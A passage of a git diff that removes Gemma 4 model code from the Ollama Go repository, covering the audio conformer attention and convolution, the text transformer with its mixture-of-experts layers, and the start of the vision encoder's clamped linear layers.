} else { - maskData[i*contextSize+j] = -1e9 - } - } - } - mask := ctx.Input().FromFloats(maskData, contextSize, chunkSize, 1) // 3D for broadcasting over numHeads - logits = logits.Add(ctx, mask) - - // Softmax over context dimension (dim 0 = contextSize). - logits = logits.Softmax(ctx) // softmax over ne[0]=contextSize - - // Weighted sum: logits^T @ vCtx. - // logits: [contextSize, chunkSize, numHeads], vCtx: [headDim, numHeads, contextSize] - // vCtx permuted: [headDim, contextSize, numHeads] - vP := vCtx.Permute(ctx, 0, 2, 1, 3) // [headDim, contextSize, numHeads] - // Weighted sum: for each head, value[headDim, contextSize] @ weights[contextSize, chunkSize] - // = [headDim, chunkSize]. - // Mulmat(a, b) = a^T @ b. Need a=[contextSize, headDim, numHeads], b=[contextSize, chunkSize, numHeads]. - vPT := vP.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) // [contextSize, headDim, numHeads] - chunkOut := vPT.Mulmat(ctx, logits) // [headDim, chunkSize, numHeads] - - // Permute back to [headDim, numHeads, chunkSize] - chunkOut = chunkOut.Permute(ctx, 0, 2, 1, 3).Contiguous(ctx) - chunkOutputs[u] = chunkOut - } - - // Concatenate chunk outputs along time dimension. - var attnOut ml.Tensor - if numChunks == 1 { - attnOut = chunkOutputs[0] - } else { - attnOut = chunkOutputs[0] - for _, co := range chunkOutputs[1:] { - attnOut = attnOut.Concat(ctx, co, 2) - } - } - - // Trim to original sequence length if we padded. - if paddedLen > seqLen { - attnOut = attnOut.Slice(ctx, 2, 0, seqLen, 1).Contiguous(ctx) - } - - // Reshape to [hiddenSize, seqLen] and project. - attnOut = attnOut.Reshape(ctx, hiddenSize, seqLen) - x = cb.AttnOut.Forward(ctx, attnOut) - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = cb.AttnPostNorm.Forward(ctx, x, opts.eps) - - return residual.Add(ctx, x) -} - -// buildPositionEmbeddings builds sinusoidal position embeddings and projects through linear_pos. -// Returns [headDim, numHeads, maxSpan] tensor. -func (cb *AudioConformerBlock) buildPositionEmbeddings(ctx ml.Context, maxSpan int, opts *AudioModelOptions) ml.Tensor { - halfDim := opts.hiddenSize / 2 - hiddenSize := opts.hiddenSize - - // inv_timescales: exp(-i * log(10000) / max(D/2-1, 1)) - logInc := math.Log(10000.0) / math.Max(float64(halfDim-1), 1) - - // Sinusoidal embeddings for relative positions [maxPast, maxPast-1, ..., -maxFuture]. - posData := make([]float32, hiddenSize*maxSpan) - for p := range maxSpan { - relPos := float64(opts.maxPast - p) - for d := range halfDim { - angle := relPos * math.Exp(float64(-d)*logInc) - posData[p*hiddenSize+d] = float32(math.Sin(angle)) - posData[p*hiddenSize+halfDim+d] = float32(math.Cos(angle)) - } - } - - // Create [hiddenSize, maxSpan] input tensor. - posEmb := ctx.Input().FromFloats(posData, hiddenSize, maxSpan) - - // Project through linear_pos: [hiddenSize, maxSpan] → Mulmat → [numHeads*headDim, maxSpan] - projPos := cb.LinearPos.Mulmat(ctx, posEmb) - - // Reshape to [headDim, numHeads, maxSpan]. - return projPos.Reshape(ctx, opts.headDim, opts.numHeads, maxSpan) -} - -// relativeShiftGGML performs the relative shift to extract correct position logits. -// Input: [maxSpan, chunkSize, numHeads]. Output: [contextSize, chunkSize, numHeads]. -func (cb *AudioConformerBlock) relativeShiftGGML(ctx ml.Context, x ml.Tensor, maxSpan, chunkSize, contextSize, numHeads int) ml.Tensor { - // The shift trick: pad ne[0] to contextSize+1, reshape to flatten first two dims, - // skip first (contextSize+1-maxSpan) elements, take contextSize*chunkSize elements, reshape back. - padAmt := contextSize + 1 - maxSpan - if padAmt > 0 { - x = x.Pad(ctx, padAmt, 0, 0, 0) // [maxSpan+padAmt, chunkSize, numHeads] = [contextSize+1, chunkSize, numHeads] - } - // Reshape to [(contextSize+1)*chunkSize, numHeads] - x = x.Reshape(ctx, (contextSize+1)*chunkSize, numHeads) - // Take the first contextSize*chunkSize elements (the standard relative shift trick). - x = x.Slice(ctx, 0, 0, contextSize*chunkSize, 1).Contiguous(ctx) - // Reshape to [contextSize, chunkSize, numHeads] - return x.Reshape(ctx, contextSize, chunkSize, numHeads) -} - -// forwardLightConv runs the lightweight depthwise convolution module. -func (cb *AudioConformerBlock) forwardLightConv(ctx ml.Context, x ml.Tensor, opts *AudioModelOptions, blockIdx int) ml.Tensor { - residual := x - - x = cb.ConvNorm.Forward(ctx, x, opts.eps) - x = cb.ConvPW1.Forward(ctx, x) // [2*D, T, B] - - // GLU: split in half along dim 0, sigmoid gate, multiply. - d := x.Dim(0) / 2 - data := x.Slice(ctx, 0, 0, d, 1).Contiguous(ctx) - gate := x.Slice(ctx, 0, d, d*2, 1).Contiguous(ctx).Sigmoid(ctx) - x = data.Mul(ctx, gate) // [D, T, B] - - // Depthwise Conv1d: manual implementation using model weight tensor slices. - // Kernel cb.ConvDW shape: [K=5, D=1024] (ne[0]=K, ne[1]=D) after shape reversal. - // Actually in GGML, ne[0]=K=5 contiguous, ne[1]=D=1024. - // We need per-tap weights [D] and shifted input copies. - kernelSize := cb.ConvDW.Dim(0) // K=5 - seqLen := x.Dim(1) - - // Transpose kernel to [D, K] for per-tap slicing. - // GGML permute(1,0,2,3): old[0]→pos1, old[1]→pos0 → swap ne[0] and ne[1] - kernelT := cb.ConvDW.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) // [D, K] - - var convOut ml.Tensor - for k := range kernelSize { - shift := kernelSize - 1 - k - var shifted ml.Tensor - if shift == 0 { - shifted = x - } else { - trimmed := x.Slice(ctx, 1, 0, seqLen-shift, 1).Contiguous(ctx) - shifted = trimmed.PadExt(ctx, 0, 0, shift, 0, 0, 0, 0, 0) - } - - wk := kernelT.Slice(ctx, 1, k, k+1, 1).Contiguous(ctx) // [D, 1] - term := shifted.Mul(ctx, wk) - if convOut == nil { - convOut = term - } else { - convOut = convOut.Add(ctx, term) - } - } - x = convOut - - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = cb.NormConv.Forward(ctx, x, opts.eps) - x = x.SILU(ctx) - x = cb.ConvPW2.Forward(ctx, x) - - return x.Add(ctx, residual) -} - -func newAudioModel(c fs.Config) *AudioModel { - numLayers := int(c.Uint("audio.block_count", 0)) - if numLayers == 0 { - return nil - } - return &AudioModel{ - Layers: make([]AudioConformerBlock, numLayers), - } -} - -func newAudioModelOptions(c fs.Config) *AudioModelOptions { - hiddenSize := int(c.Uint("audio.embedding_length", 0)) - if hiddenSize == 0 { - return nil - } - numHeads := int(c.Uint("audio.attention.head_count", 8)) - headDim := hiddenSize / numHeads - chunkSize := 12 // default conformer chunk size - maxPast := 12 // conf_attention_context_left - 1 - maxFuture := 0 // conf_attention_context_right - convKernel := int(c.Uint("audio.conv_kernel_size", 5)) - - eps := c.Float("audio.attention.layer_norm_epsilon", 1e-6) - - return &AudioModelOptions{ - hiddenSize: hiddenSize, - numHeads: numHeads, - headDim: headDim, - ffnSize: int(c.Uint("audio.feed_forward_length", uint32(hiddenSize*4))), - numLayers: int(c.Uint("audio.block_count", 12)), - melBins: int(c.Uint("audio.num_mel_bins", 128)), - chunkSize: chunkSize, - maxPast: maxPast, - maxFuture: maxFuture, - contextSize: chunkSize + maxPast + maxFuture, - logitCap: 50.0, - residualWeight: 0.5, - gradClip: 1e10, - convKernelSize: convKernel, - eps: float32(eps), - } -} - -// buildCausalValidMaskF32 creates the causal-valid mask for block-local attention. -// Returns flat [chunkSize * contextSize] float32 data (1.0 = allowed, 0.0 = masked). -func buildCausalValidMaskF32(chunkSize, maxPast, maxFuture int) []float32 { - contextSize := chunkSize + maxPast + maxFuture - upperDiag := maxPast + maxFuture - - result := make([]float32, chunkSize*contextSize) - for r := range chunkSize { - for c := range contextSize { - lower := (r <= c) // tril(contextSize, chunkSize) transposed - upper := (c <= r+upperDiag) // tril(chunkSize, contextSize, diag=upperDiag) - if lower && upper { - result[r*contextSize+c] = 1.0 - } - } - } - return result -} diff --git a/model/models/gemma4/model_text.go b/model/models/gemma4/model_text.go deleted file mode 100644 index 86397affd..000000000 --- a/model/models/gemma4/model_text.go +++ /dev/null @@ -1,475 +0,0 @@ -package gemma4 - -import ( - "math" - - "github.com/ollama/ollama/fs" - "github.com/ollama/ollama/kvcache" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn" - "github.com/ollama/ollama/ml/nn/rope" - "github.com/ollama/ollama/model/input" -) - -const ( - cacheTypeSWA = iota - cacheTypeCausal -) - -type TextOptions struct { - hiddenSize int - numHeads, numKVHeads int - numGlobalKVHeads int - headDim, globalHeadDim int - hiddenLayers int - hiddenSizePerLayerInput int - - eps float32 - ropeBase float32 - ropeLocalBase float32 - partialRotaryDims int // RoPE dims for full-attention (global) layers - - slidingWindowPattern []bool - // kvDonorMap maps shared layer index -> donor layer index. - // Donor is the last non-shared layer of the same type (sliding/full). - kvDonorMap map[int]int - - finalLogitSoftcap float32 - - numExperts int - numExpertsUsed int -} - -func (o *TextOptions) isLocal(layer int) bool { - if layer < len(o.slidingWindowPattern) { - return o.slidingWindowPattern[layer] - } - return false -} - -func (o *TextOptions) ropeForLayer(layer int) (base float32, dims int) { - if o.isLocal(layer) { - return o.ropeLocalBase, o.headDim - } - return o.ropeBase, o.partialRotaryDims -} - -func (o *TextOptions) kvHeadsForLayer(layer int) int { - if o.isLocal(layer) { - return o.numKVHeads - } - if o.numGlobalKVHeads > 0 { - return o.numGlobalKVHeads - } - return o.numKVHeads -} - -func (o *TextOptions) headDimForLayer(layer int) int { - if o.isLocal(layer) { - return o.headDim - } - return o.globalHeadDim -} - -type TextModel struct { - TokenEmbedding *nn.Embedding `gguf:"token_embd"` - *PerLayerProjector - Layers []TextLayer `gguf:"blk"` - OutputNorm *nn.RMSNorm `gguf:"output_norm"` - Output *nn.Linear `gguf:"output,alt:token_embd"` - TextOptions -} - -func newTextModel(c fs.Config) *TextModel { - numLayers := int(c.Uint("block_count")) - - // Head dimensions: key_length is global head dim, key_length_swa is local (SWA) head dim. - globalHeadDim := int(c.Uint("attention.key_length", 512)) - headDim := int(c.Uint("attention.key_length_swa", 256)) - - // RoPE dimensions for global (full attention) layers with proportional RoPE. - // The freq_factors tensor handles partial rotation (1.0 for rotated pairs, - // 1e30 for non-rotated), so ropeDims equals the full global head dim. - partialRotaryDims := int(c.Uint("rope.dimension_count", 0)) - if partialRotaryDims == 0 { - partialFactor := c.Float("rope.partial_rotary_factor", 1.0) - partialRotaryDims = int(float32(globalHeadDim) * partialFactor) - } - - ropeBase := c.Float("rope.freq_base", 1000000.0) - ropeLocalBase := c.Float("rope.freq_base_swa", 0) - if ropeLocalBase == 0 { - ropeLocalBase = c.Float("rope.local.freq_base", 10000.0) - } - - numGlobalKVHeads := int(c.Uint("attention.global_head_count_kv", 0)) - slidingPattern := c.Bools("attention.sliding_window_pattern") - - // KV heads: try per-layer array first (MoE models), then fall back to scalar - numKVHeads := 0 - kvHeadsArray := c.Ints("attention.head_count_kv") - if len(kvHeadsArray) > 0 { - numKVHeads = int(kvHeadsArray[0]) - if numGlobalKVHeads == 0 && len(slidingPattern) > 0 { - for i, isLocal := range slidingPattern { - if !isLocal && i < len(kvHeadsArray) { - numGlobalKVHeads = int(kvHeadsArray[i]) - break - } - } - } - } - if numKVHeads == 0 { - numKVHeads = int(c.Uint("attention.head_count_kv", 0)) - } - - // Compute KV sharing donor map (same logic as MLX) - sharedLayers := int(c.Uint("attention.shared_kv_layers", 0)) - kvDonorMap := make(map[int]int) - if sharedLayers > 0 && len(slidingPattern) > 0 { - firstShared := numLayers - sharedLayers - for i := firstShared; i < numLayers; i++ { - isLocal := slidingPattern[i] - // Find last non-shared layer of same type - for j := firstShared - 1; j >= 0; j-- { - if slidingPattern[j] == isLocal { - kvDonorMap[i] = j - break - } - } - } - } - - return &TextModel{ - Layers: make([]TextLayer, numLayers), - TextOptions: TextOptions{ - hiddenSize: int(c.Uint("embedding_length")), - numHeads: int(c.Uint("attention.head_count")), - numKVHeads: numKVHeads, - numGlobalKVHeads: numGlobalKVHeads, - headDim: headDim, - globalHeadDim: globalHeadDim, - hiddenLayers: numLayers, - hiddenSizePerLayerInput: int(c.Uint("embedding_length_per_layer_input", 0)), - eps: c.Float("attention.layer_norm_rms_epsilon", 1e-06), - ropeBase: ropeBase, - ropeLocalBase: ropeLocalBase, - partialRotaryDims: partialRotaryDims, - slidingWindowPattern: slidingPattern, - kvDonorMap: kvDonorMap, - finalLogitSoftcap: c.Float("final_logit_softcapping", 0.0), - numExperts: int(c.Uint("expert_count", 0)), - numExpertsUsed: int(c.Uint("expert_used_count", 0)), - }, - } -} - -func (m *TextModel) Forward(ctx ml.Context, batch input.Batch, cache kvcache.Cache) ml.Tensor { - positions := ctx.Input().FromInts(batch.Positions, len(batch.Positions)) - - hiddenState := m.TokenEmbedding.Forward(ctx, batch.Inputs) - hiddenState = hiddenState.Scale(ctx, math.Sqrt(float64(m.hiddenSize))) - - // Inject vision embeddings into the hidden state - var except []int - for _, image := range batch.Multimodal { - visionOutputs := image.Multimodal[0].Tensor - ctx.Forward(visionOutputs.Copy(ctx, hiddenState.View(ctx, image.Index*hiddenState.Stride(1), visionOutputs.Dim(0)*visionOutputs.Dim(1)))) - - for i := range visionOutputs.Dim(1) { - except = append(except, image.Index+i) - } - } - - // PLE - var perLayerInputs ml.Tensor - if m.PerLayerProjector != nil { - perLayerInputs = m.PerLayerProjector.Forward(ctx, batch, hiddenState, &m.TextOptions) - } - - for i := range len(m.Layers) { - layer := m.Layers[i] - if cache != nil { - cache.SetLayer(i) - cacheType := cacheTypeSWA - if !m.isLocal(i) { - cacheType = cacheTypeCausal - } - wc := cache.(*kvcache.WrapperCache) - wc.SetLayerType(cacheType) - - if causal, ok := wc.UnderlyingCache().(*kvcache.Causal); ok { - causal.SetCausal(ctx, kvcache.CausalOptions{Except: except}) - } - } - - var lastLayerOutputs ml.Tensor - if i == len(m.Layers)-1 { - lastLayerOutputs = batch.Outputs - } - - var perLayerInput ml.Tensor - if perLayerInputs != nil { - perLayerInput = perLayerInputs.View(ctx, i*perLayerInputs.Stride(1), perLayerInputs.Dim(0), perLayerInputs.Stride(2), perLayerInputs.Dim(2)) - } - - // KV sharing: layers >= firstShared reuse K/V from donor layers - isShared := false - if donorLayer, ok := m.kvDonorMap[i]; ok { - // Set cache layer to donor so Get() reads donor's K/V - cache.SetLayer(donorLayer) - isShared = true - } - hiddenState = layer.Forward(ctx, i, hiddenState, positions, perLayerInput, lastLayerOutputs, cache, isShared, &m.TextOptions) - } - - return m.OutputNorm.Forward(ctx, hiddenState, m.eps) -} - -// PerLayerProjector implements PLE. -type PerLayerProjector struct { - TokenEmbedding *nn.Embedding `gguf:"per_layer_token_embd"` - Projector *nn.Linear `gguf:"per_layer_model_proj"` - Norm *nn.RMSNorm `gguf:"per_layer_proj_norm"` -} - -func (p *PerLayerProjector) Forward(ctx ml.Context, batch input.Batch, inputs ml.Tensor, opts *TextOptions) ml.Tensor { - inputsPerLayer := p.TokenEmbedding.Forward(ctx, batch.Inputs) - inputsPerLayer = inputsPerLayer.Scale(ctx, math.Sqrt(float64(opts.hiddenSizePerLayerInput))) - // Reshape to [pleDim, numLayers, numTokens] — matching projection shape - inputsPerLayer = inputsPerLayer.Reshape(ctx, opts.hiddenSizePerLayerInput, opts.hiddenLayers, inputs.Dim(1)) - - perLayerProjection := p.Projector.Forward(ctx, inputs) - perLayerProjection = perLayerProjection.Scale(ctx, 1.0/math.Sqrt(float64(opts.hiddenSize))) - perLayerProjection = perLayerProjection.Reshape(ctx, opts.hiddenSizePerLayerInput, opts.hiddenLayers, inputs.Dim(1)) - perLayerProjection = p.Norm.Forward(ctx, perLayerProjection, opts.eps) - - if inputsPerLayer != nil { - perLayerProjection = perLayerProjection.Add(ctx, inputsPerLayer) - perLayerProjection = perLayerProjection.Scale(ctx, 1/math.Sqrt(2)) - } - - return perLayerProjection -} - -type TextSelfAttention struct { - Query *nn.Linear `gguf:"attn_q"` - QueryNorm *nn.RMSNorm `gguf:"attn_q_norm"` - Key *nn.Linear `gguf:"attn_k"` - KeyNorm *nn.RMSNorm `gguf:"attn_k_norm"` - Value *nn.Linear `gguf:"attn_v"` - Output *nn.Linear `gguf:"attn_output"` - RopeFactors ml.Tensor `gguf:"rope_freqs.weight"` // proportional RoPE freq_factors -} - -func (sa *TextSelfAttention) Forward(ctx ml.Context, layer int, hiddenState, positions ml.Tensor, cache kvcache.Cache, sharedKV bool, opts *TextOptions) ml.Tensor { - batchSize := hiddenState.Dim(1) - hd := opts.headDimForLayer(layer) - kvHeads := opts.kvHeadsForLayer(layer) - ropeBase, ropeDims := opts.ropeForLayer(layer) - - q := sa.Query.Forward(ctx, hiddenState) - q = q.Reshape(ctx, hd, opts.numHeads, batchSize) - q = sa.QueryNorm.Forward(ctx, q, opts.eps) - - var k, v ml.Tensor - if !sharedKV { - k = sa.Key.Forward(ctx, hiddenState) - k = k.Reshape(ctx, hd, kvHeads, batchSize) - - if sa.Value != nil { - v = sa.Value.Forward(ctx, hiddenState) - v = v.Reshape(ctx, hd, kvHeads, batchSize) - } else { - // K=V: use raw K projection (before K norm) as V - v = k - } - - k = sa.KeyNorm.Forward(ctx, k, opts.eps) - v = v.RMSNorm(ctx, nil, opts.eps) // V norm: unweighted RMSNorm - } - - // RoPE with proportional freq_factors on global layers - ropeOpts := []func(*rope.Options){rope.WithTypeNeoX()} - if sa.RopeFactors != nil && !opts.isLocal(layer) { - ropeOpts = append(ropeOpts, rope.WithFactors(sa.RopeFactors)) - } - q = nn.RoPE(ctx, q, positions, ropeDims, ropeBase, 1.0, ropeOpts...) - if k != nil { - k = nn.RoPE(ctx, k, positions, ropeDims, ropeBase, 1.0, ropeOpts...) - } - - attention := nn.Attention(ctx, q, k, v, 1.0, cache) - - attention = attention.Reshape(ctx, hd*opts.numHeads, batchSize) - return sa.Output.Forward(ctx, attention) -} - -type TextMLP struct { - Gate *nn.Linear `gguf:"ffn_gate"` - Up *nn.Linear `gguf:"ffn_up"` - Down *nn.Linear `gguf:"ffn_down"` -} - -func (mlp *TextMLP) Forward(ctx ml.Context, hiddenState ml.Tensor) ml.Tensor { - hiddenState = mlp.Gate.Forward(ctx, hiddenState).GELU(ctx, mlp.Up.Forward(ctx, hiddenState)) - return mlp.Down.Forward(ctx, hiddenState) -} - -// TextRouter implements the Gemma 4 MoE router. -type TextRouter struct { - Proj *nn.Linear `gguf:"ffn_gate_inp"` - Scale ml.Tensor `gguf:"ffn_gate_inp.scale"` -} - -func (r *TextRouter) Forward(ctx ml.Context, hiddenState ml.Tensor, opts *TextOptions) (routingWeights, selectedExperts ml.Tensor) { - // RMSNorm without learned weight - x := hiddenState.RMSNorm(ctx, nil, opts.eps) - // Scale by 1/sqrt(hidden_size) - x = x.Scale(ctx, 1.0/math.Sqrt(float64(opts.hiddenSize))) - // Multiply by learned scale parameter - x = x.Mul(ctx, r.Scale) - // Project to expert logits - expertScores := r.Proj.Forward(ctx, x) - // Softmax over experts - routingWeights = expertScores.Softmax(ctx) - // TopK expert selection - selectedExperts = routingWeights.TopK(ctx, opts.numExpertsUsed) - return routingWeights, selectedExperts -} - -// TextMoEBlock implements the Gemma 4 sparse MoE. -type TextMoEBlock struct { - GateUp *nn.LinearBatch `gguf:"ffn_gate_up_exps"` - Gate *nn.LinearBatch `gguf:"ffn_gate_exps"` - Up *nn.LinearBatch `gguf:"ffn_up_exps"` - Down *nn.LinearBatch `gguf:"ffn_down_exps"` - DownScale ml.Tensor `gguf:"ffn_down_exps.scale,alt:ffn_gate_inp.per_expert_scale"` -} - -func (moe *TextMoEBlock) Forward(ctx ml.Context, hiddenState, routingWeights, selectedExperts ml.Tensor, opts *TextOptions) ml.Tensor { - // Select routing weights for chosen experts and renormalize - routingWeights = routingWeights.Reshape(ctx, 1, opts.numExperts, hiddenState.Dim(1)).Rows(ctx, selectedExperts) - routingWeights = routingWeights.Reshape(ctx, opts.numExpertsUsed, hiddenState.Dim(1)) - routingWeights = routingWeights.Div(ctx, routingWeights.SumRows(ctx)) - routingWeights = routingWeights.Reshape(ctx, 1, opts.numExpertsUsed, hiddenState.Dim(1)) - - hiddenState = hiddenState.Reshape(ctx, hiddenState.Dim(0), 1, hiddenState.Dim(1)) - - // Expert computation using LinearBatch (MulmatID selecting experts by index) - var gateOut, upOut ml.Tensor - if moe.GateUp != nil && moe.GateUp.Weight != nil { - gateUp := moe.GateUp.Forward(ctx, hiddenState, selectedExperts) - nFF := gateUp.Dim(0) / 2 - gateOut = gateUp.Slice(ctx, 0, 0, nFF, 1) - upOut = gateUp.Slice(ctx, 0, nFF, gateUp.Dim(0), 1) - } else { - gateOut = moe.Gate.Forward(ctx, hiddenState, selectedExperts) - upOut = moe.Up.Forward(ctx, hiddenState, selectedExperts) - } - hiddenState = gateOut.GELU(ctx, upOut) - experts := moe.Down.Forward(ctx, hiddenState, selectedExperts) - - // Apply per-expert down projection scale when present. - if moe.DownScale != nil { - expertScales := moe.DownScale.Reshape(ctx, opts.numExperts, 1) - expertScales = expertScales.Repeat(ctx, 1, hiddenState.Dim(2)) - expertScales = expertScales.Reshape(ctx, 1, opts.numExperts, hiddenState.Dim(2)).Rows(ctx, selectedExperts) - expertScales = expertScales.Reshape(ctx, opts.numExpertsUsed, hiddenState.Dim(2)) - expertScales = expertScales.Reshape(ctx, 1, opts.numExpertsUsed, hiddenState.Dim(2)) - experts = experts.Mul(ctx, expertScales) - } - - // Apply routing weights - experts = experts.Mul(ctx, routingWeights) - - // Sum across experts - nextStates := experts.View(ctx, 0, experts.Dim(0), experts.Stride(2), experts.Dim(2)) - for i := 1; i < opts.numExpertsUsed; i++ { - nextStates = nextStates.Add(ctx, experts.View(ctx, i*experts.Stride(1), experts.Dim(0), experts.Stride(2), experts.Dim(2))) - } - - return nextStates -} - -type TextLayer struct { - AttentionNorm *nn.RMSNorm `gguf:"attn_norm"` - SelfAttention *TextSelfAttention - PostAttentionNorm *nn.RMSNorm `gguf:"post_attention_norm,alt:attn_post_norm"` - MLPNorm *nn.RMSNorm `gguf:"ffn_norm,alt:ffn_pre_norm"` - MLP *TextMLP - PostMLPNorm *nn.RMSNorm `gguf:"post_ffw_norm,alt:ffn_post_norm"` - - // MoE (present only for models with enable_moe_block=true) - Router *TextRouter - MoE *TextMoEBlock - MoENorm *nn.RMSNorm `gguf:"pre_ffw_norm_2,alt:ffn_pre_norm_2"` - PostMoENorm *nn.RMSNorm `gguf:"post_ffw_norm_2,alt:ffn_post_norm_2"` - PostMLPNorm1 *nn.RMSNorm `gguf:"post_ffw_norm_1,alt:ffn_post_norm_1"` // used instead of PostMLPNorm when MoE is present - - PerLayerInputGate *nn.Linear `gguf:"inp_gate"` - PerLayerProjection *nn.Linear `gguf:"proj"` - PostPerLayerNorm *nn.RMSNorm `gguf:"post_norm"` - LayerScalar ml.Tensor `gguf:"layer_scalar,alt:layer_output_scale.weight"` -} - -func (l *TextLayer) Forward(ctx ml.Context, layer int, hiddenState, positions, perLayerInput, outputs ml.Tensor, cache kvcache.Cache, sharedKV bool, opts *TextOptions) ml.Tensor { - residual := hiddenState - - hiddenState = l.AttentionNorm.Forward(ctx, hiddenState, opts.eps) - hiddenState = l.SelfAttention.Forward(ctx, layer, hiddenState, positions, cache, sharedKV, opts) - hiddenState = l.PostAttentionNorm.Forward(ctx, hiddenState, opts.eps) - - if outputs != nil { - hiddenState = hiddenState.Rows(ctx, outputs) - residual = residual.Rows(ctx, outputs) - if perLayerInput != nil { - perLayerInput = perLayerInput.Rows(ctx, outputs) - } - } - - hiddenState = hiddenState.Add(ctx, residual) - residual = hiddenState - - // MLP (+ optional MoE in parallel) - hasSplitExperts := l.MoE != nil && l.MoE.Gate != nil && l.MoE.Up != nil && l.MoE.Gate.Weight != nil && l.MoE.Up.Weight != nil - hasFusedExperts := l.MoE != nil && l.MoE.GateUp != nil && l.MoE.GateUp.Weight != nil - if l.Router != nil && l.MoE != nil && l.MoE.Down != nil && l.MoE.Down.Weight != nil && (hasSplitExperts || hasFusedExperts) { - // MoE layers: run MLP and MoE in parallel, sum results - mlpState := l.MLPNorm.Forward(ctx, hiddenState, opts.eps) - mlpState = l.MLP.Forward(ctx, mlpState) - mlpState = l.PostMLPNorm1.Forward(ctx, mlpState, opts.eps) - - routingWeights, selectedExperts := l.Router.Forward(ctx, hiddenState, opts) - moeState := l.MoENorm.Forward(ctx, hiddenState, opts.eps) - moeState = l.MoE.Forward(ctx, moeState, routingWeights, selectedExperts, opts) - moeState = l.PostMoENorm.Forward(ctx, moeState, opts.eps) - - // Combine MLP + MoE, apply outer post-FFN norm, then add residual - combined := mlpState.Add(ctx, moeState) - combined = l.PostMLPNorm.Forward(ctx, combined, opts.eps) - hiddenState = combined.Add(ctx, residual) - } else { - // Dense layers: MLP only - hiddenState = l.MLPNorm.Forward(ctx, hiddenState, opts.eps) - hiddenState = l.MLP.Forward(ctx, hiddenState) - hiddenState = l.PostMLPNorm.Forward(ctx, hiddenState, opts.eps) - hiddenState = hiddenState.Add(ctx, residual) - } - - // PLE injection (after MLP residual) - if perLayerInput != nil && l.PerLayerInputGate != nil { - pleState := l.PerLayerInputGate.Forward(ctx, hiddenState) - pleState = pleState.GELU(ctx, perLayerInput) - pleState = l.PerLayerProjection.Forward(ctx, pleState) - pleState = l.PostPerLayerNorm.Forward(ctx, pleState, opts.eps) - hiddenState = hiddenState.Add(ctx, pleState) - } - - // Layer scalar applied at end of layer (full-attention layers only) - if l.LayerScalar != nil { - hiddenState = hiddenState.Mul(ctx, l.LayerScalar) - } - - return hiddenState -} diff --git a/model/models/gemma4/model_vision.go b/model/models/gemma4/model_vision.go deleted file mode 100644 index c0ecccce3..000000000 --- a/model/models/gemma4/model_vision.go +++ /dev/null @@ -1,384 +0,0 @@ -package gemma4 - -import ( - "math" - - "github.com/ollama/ollama/fs" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn" - "github.com/ollama/ollama/ml/nn/rope" -) - -const batchSize = 1 - -// ClippableLinear is a linear layer with optional input/output clamping. -// Required by Gemma4 vision encoder for numerical stability with F16 weights. -type ClippableLinear struct { - Weight ml.Tensor `gguf:"weight"` - - InputMin ml.Tensor `gguf:"input_min"` - InputMax ml.Tensor `gguf:"input_max"` - OutputMin ml.Tensor `gguf:"output_min"` - OutputMax ml.Tensor `gguf:"output_max"` - - inMin, inMax, outMin, outMax float32 - hasClamp bool - clampsLoaded bool -} - -func scalarValue(t ml.Tensor) (float32, bool) { - if t == nil { - return 0, false - } - - data := t.BackendGet() - if len(data) == 0 { - return 0, false - } - - return data[0], true -} - -func (l *ClippableLinear) loadClampFromScalars() { - if l.clampsLoaded { - return - } - l.clampsLoaded = true - - const ( - defaultMin = -math.MaxFloat32 - defaultMax = math.MaxFloat32 - ) - - inMin, hasInMin := scalarValue(l.InputMin) - inMax, hasInMax := scalarValue(l.InputMax) - outMin, hasOutMin := scalarValue(l.OutputMin) - outMax, hasOutMax := scalarValue(l.OutputMax) - - if !(hasInMin || hasInMax || hasOutMin || hasOutMax) { - return - } - - l.hasClamp = true - l.inMin = defaultMin - l.inMax = defaultMax - l.outMin = defaultMin - l.outMax = defaultMax - - if hasInMin { - l.inMin = inMin - } - if hasInMax { - l.inMax = inMax - } - if hasOutMin { - l.outMin = outMin - } - if hasOutMax { - l.outMax = outMax - } -} - -func (l *ClippableLinear) Forward(ctx ml.Context, x ml.Tensor) ml.Tensor { - if l.hasClamp { - x = x.Clamp(ctx, l.inMin, l.inMax) - } - out := l.Weight.Mulmat(ctx, x) - if l.hasClamp { - out = out.Clamp(ctx, l.outMin, l.outMax) - } - return out -} - -// InitClamp distributes packed clamp values from v.clamp_data to ClippableLinear structs. -// If scalar clamp tensors (input_min/max, output_min/max) are present, they are used too. -// Layout: numLayers × 7 linears (q,k,v,out,gate,up,down) × 4 floats (inMin,inMax,outMin,outMax) -// then 4 floats for the projector. -func (m *VisionModel) InitClamp(proj *MultiModalProjector) { - if m.clampInitDone { - return - } - m.clampInitDone = true - - linears := func(l *VisionEncoderLayer) []*ClippableLinear { - return []*ClippableLinear{ - l.SelfAttention.Query, l.SelfAttention.Key, l.SelfAttention.Value, - l.SelfAttention.Output, l.MLP.Gate, l.MLP.Up, l.MLP.Down, - } - } - - for i := range m.Layers { - for _, cl := range linears(&m.Layers[i]) { - if cl != nil { - cl.loadClampFromScalars() - } - } - } - if proj != nil && proj.Projection != nil { - proj.Projection.loadClampFromScalars() - } - - // Load packed clamp data when present (legacy Ollama format). - if m.ClampData == nil { - return - } - - // Read all clamp values from packed F32 tensor - data := m.ClampData.BackendGet() - if len(data) == 0 { - return - } - - // Distribute to layer linears: 7 per layer × 4 values each - for i := range m.Layers { - for li, cl := range linears(&m.Layers[i]) { - if cl == nil { - continue - } - idx := (i*7 + li) * 4 - if idx+3 < len(data) { - cl.inMin = data[idx] - cl.inMax = data[idx+1] - cl.outMin = data[idx+2] - cl.outMax = data[idx+3] - cl.hasClamp = true - } - } - } - - // Projector clamp values (last 4 floats) - if proj != nil && proj.Projection != nil { - projIdx := len(m.Layers) * 7 * 4 - if projIdx+3 < len(data) { - proj.Projection.inMin = data[projIdx] - proj.Projection.inMax = data[projIdx+1] - proj.Projection.outMin = data[projIdx+2] - proj.Projection.outMax = data[projIdx+3] - proj.Projection.hasClamp = true - } - } -} - -type VisionSelfAttention struct { - Query *ClippableLinear `gguf:"attn_q"` - Key *ClippableLinear `gguf:"attn_k"` - Value *ClippableLinear `gguf:"attn_v"` - QueryNorm *nn.RMSNorm `gguf:"attn_q_norm"` - KeyNorm *nn.RMSNorm `gguf:"attn_k_norm"` - Output *ClippableLinear `gguf:"attn_out"` -} - -func (sa *VisionSelfAttention) Forward(ctx ml.Context, 